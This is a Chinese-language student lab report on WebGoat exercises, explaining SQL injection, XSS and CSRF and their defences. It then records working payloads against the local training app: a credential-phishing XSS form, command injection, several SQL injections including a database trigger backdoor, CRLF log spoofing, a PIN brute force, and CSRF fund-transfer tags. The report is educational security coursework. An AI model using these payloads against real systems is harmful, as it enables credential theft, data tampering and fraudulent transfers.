20155227《網絡對抗》Exp9 Web安全基礎實踐
20155227《網絡對抗》Exp9 Web安全基礎實踐
實驗內容
- 關於WebGoat
- Cross-Site Scripting(XSS)練習
- Injection Flaws練習
- CSRF攻擊
基礎問題回答
- SQL註入攻擊原理,如何防禦?
原理:SQL註入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,使非法數據侵入系統。
防禦: 1.對用戶的輸入進行校驗,可以通過正則表達式,雙"-"進行轉換等。 2.不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。 3.不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。 4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。 5.應用的異常信息應該給出盡可能少的提示。 6.采取輔助軟件或網站平臺來檢測sql註入。
- XSS攻擊的原理,如何防禦?
原理:XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者可以利用XSS漏洞旁路掉訪問控制。
防禦:
1.特征匹配方式,在所有提交的信息中都進行匹配檢查,一般會對“javascript”這個關鍵字進行檢索,一旦發現提交信息中包含“javascript”,就認定為XSS攻擊。 2.對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度範圍內、采用適當格式、采用所預期的字符的內容提交,對其他的一律過濾。 3.實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
- CSRF攻擊原理,如何防禦?
原理:CSRF跨站請求偽造,也被稱為“oneclickattack”或者sessionriding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用,通過偽裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。
防禦: 1.在form中包含秘密信息、用戶指定的代號作為cookie之外的驗證。 2.“雙提交”cookie。某個授權的cookie在form post之前正被JavaScript代碼讀取,那麽限制跨域規則將被應用。服務器需要在Post請求體或者URL中包含授權cookie的請求,那麽這個請求必須來自於受信任的域。 3.用戶在瀏覽其它站點前登出站點或者在瀏覽器會話結束後清理瀏覽器的cookie。
實驗過程記錄
1.WebGoat
開啟webgoat,首先要下載java包,打開WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar
在瀏覽器上訪問
localhost:8080/WebGoat
,登錄。
2.XSS攻擊
(1)Phishing with XSS
- 這個題目我們要在搜索框中輸入XSS攻擊代碼:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,然後輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲並反饋給你:
(2)Reflected XSS 反射型XSS攻擊
在code
框中輸入<script>alert("I am 20155227gyl");</script>
(3)Stored XSS Attacks
- 題目要求:要創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容。
- 直接在
title
裏隨便輸入,然後在message
中輸入一串代碼,比如:<script>alert("5227!");</script>
提交後,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功!
3.Injection Flaws
(1)Command Injection
- 題目要求能夠在目標主機上執行系統命令,我發現可以通過火狐瀏覽器下的一個擴展
Firebug
對源代碼進行修改,例如在BackDoors.help旁邊加上& netstat -an & ipconfig
- 選中修改後的值再點
view
,可以看到命令被執行,出現系統網絡連接情況:
(2)Numeric SQL Injection
- 這個題大概意思是這個表單允許使用者看到天氣數據,利用
SQL註入
使得可以看見所有數據。 - 進行SQL註入在
station
字段註入特征字符,以組合成新的SQL語句,SELECT * FROM weather_data WHERE station = [station]
,要獲得所有的天氣數據,就在station
中的任意一個值後面加入一個1=1
,由於1=1為永真式,選擇所修改的value
所指向的城市,就可以得到所有的天氣。
(3)Log Spoofing
這道題大概意思是說,我們輸入的用戶名會被追加到日誌文件中。所以我們可以使用障眼法來使用戶名為“admin”
的用戶在日誌中顯示“成功登錄”,例如在User Name
文本框中輸入gyl%0d%0aLogin Succeeded for username: admin
,其中%0d
是回車,%0a
是換行符:
(4)LAB:SQL Injection
Stage 1:String SQL Injection
- 題目要求:使用字符串SQL註入在沒有正確密碼的情況下登錄賬號
boss
。 - 在密碼欄中輸入
‘ or 1=1
--進行SQL註入
,但是登錄失敗。 - 查看源代碼,去掉對輸入長度的限制,登錄成功。
Stage 3:Numeric SQL Injection
- 題目要求:通過註入語句,瀏覽到原本無法瀏覽的信息。通過一個普通員工的賬戶
larry
,瀏覽其BOSS
的賬戶信息。首先我們用上一題的辦法登錄Larry
的賬號!在密碼框裏輸入‘ or 1=1 --
,登錄後發現我們只能看見Larry
一個人的工資信息。
- 瀏覽員工信息的按鈕是
ViewProfile
.在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID
作為索引傳遞參數的,我們要達到通過Larry
來瀏覽老板賬戶信息的目的,把其中的value
值改為101 or 1=1 order by salary desc --
,這樣老板的信息就會被排到第一個:
(5)String SQL Injection
- 這個表單允許使用者查詢他們的信用卡號,使用
SQL註入
讓所有的信用卡號都看得見。 - 我們構造一個永真式“1”,那麽不管前面的
WHERE
是否成立都能執行,所以構造語句‘or 1=‘1
,成功得到了全部的信用卡號。
(6)Blind Numeric SQL Injection
- 題目要求是得到一個存放在
pins
表中值pin
的內容,行號cc_number=1111222233334444
,是一個int型
的數據。
然後使用BurpSuite
進行攔截,攔截後action--send to intruder
進行暴力破解,使用sniper
模式,選擇10000
進行數字爆破(選擇前先clear
將默認的爆破點清除),從1到10000,步長為1。可以發現2364
的報文長度明顯和其他不一樣,那這個值就應該就是2364
:
(7)Database Backdoors
- 先輸入示例101進行嘗試,得到了該用戶的信息。
- 觀察發現輸入的語句不進行驗證,於是我們輸入語句:
101; update employee set salary=10000
成功將該用戶的工資變成10000
,攻擊成功:
- 輸入語句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
- 表中一旦添加新用戶那麽就在用戶表裏將新用戶的郵箱改為我設置的郵箱。
4.CSRF攻擊
(1)Cross Site Request Forgery
- 題目要求:需要寫一個
URL
誘使其他用戶點擊,從而觸發CSRF攻擊
,我們可以以圖片的的形式將URL
放進Message框
,這時的URL
對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF
事件。 - 查看自己電腦的
Screen和menu
的值:
然後在
message
裏面輸入<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=轉賬金額"/>
就會發出一個轉錢的請求,盜取錢財。提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的錢,達到CSRF
攻擊的目的。提交後生成一個鏈接
20155227
- 點擊即可查看用戶操作的信息:
(2)CSRF Prompt By-Pass
- 這個就是利用CSRF進行冒名操作轉賬,不過這次包括了兩個請求,一是轉賬請求,二是確認轉賬成功請求,即需要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)。
- 查看頁面右邊
Parameters中的src和menu值
,並在title
框中輸入學號,message
框中輸入代碼:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉賬數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 接下來的操作同上一題。
- 但是左邊沒有顯示成功的√,所以在瀏覽器裏輸入
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
進入確認轉賬請求頁面:
點擊CONFIRM
按鈕之後,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM
,成功轉走了5000元:
實驗體會
本次實驗真的很艱難呀,主要是之前環境一直不對,嘗試了很久之後才決定直接拷一個虛擬機。開始實驗之後發現本次實驗的內容全是英文,真的很崩潰……但是通過在Webgoat
上的實踐,我學會了SQL註入攻擊
、XSS攻擊
和CSRF攻擊
的一些小套路,也算小有收獲吧。
20155227《網絡對抗》Exp9 Web安全基礎實踐